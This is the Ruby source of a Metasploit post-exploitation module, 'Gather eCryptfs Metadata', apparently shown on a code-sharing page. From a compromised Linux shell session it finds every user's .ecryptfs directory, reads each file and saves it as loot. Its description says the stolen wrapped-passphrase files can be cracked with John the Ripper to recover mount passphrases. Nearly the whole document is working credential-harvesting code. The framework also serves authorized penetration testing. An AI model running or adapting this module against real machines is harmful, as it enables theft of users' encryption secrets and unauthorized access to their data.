Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8
  include Msf::Post::Unix
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'Gather eCryptfs Metadata',
15
        'Description' => %q{
16
          This module will collect the contents of all users' .ecrypts directories on
17
          the targeted machine. Collected "wrapped-passphrase" files can be
18
          cracked with John the Ripper (JtR) to recover "mount passphrases".
19
        },
20
        'License' => MSF_LICENSE,
21
        'Author' => ['Dhiru Kholia <dhiru[at]openwall.com>'],
22
        'Platform' => ['linux'],
23
        'SessionTypes' => ['shell']
24
      )
25
    )
26
  end
27

28
  # This module is largely based on ssh_creds, gpg_creds and firefox_creds.rb.
29

30
  def run
31
    print_status('Finding .ecryptfs directories')
32
    paths = enum_user_directories.map { |d| d + '/.ecryptfs' }
33
    # Array#select! is only in 1.9
34
    paths = paths.select { |d| directory?(d) }
35

36
    if paths.nil? || paths.empty?
37
      print_error('No users found with a .ecryptfs directory')
38
      return
39
    end
40

41
    download_loot(paths)
42
  end
43

44
  def download_loot(paths)
45
    print_status("Looting #{paths.count} directories")
46
    paths.each do |path|
47
      path.chomp!
48
      sep = '/'
49
      files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
50

51
      files.each do |file|
52
        target = "#{path}#{sep}#{file}"
53
        if directory?(target)
54
          next
55
        end
56

57
        print_status("Downloading #{path}#{sep}#{file} -> #{file}")
58
        data = read_file(target)
59
        file = file.split(sep).last
60
        loot_path = store_loot("ecryptfs.#{file}", 'text/plain', session, data,
61
                               nil, "eCryptfs #{file} File")
62
        print_good("File stored in: #{loot_path}")
63
      end
64
    end
65
  end
66
end
67

68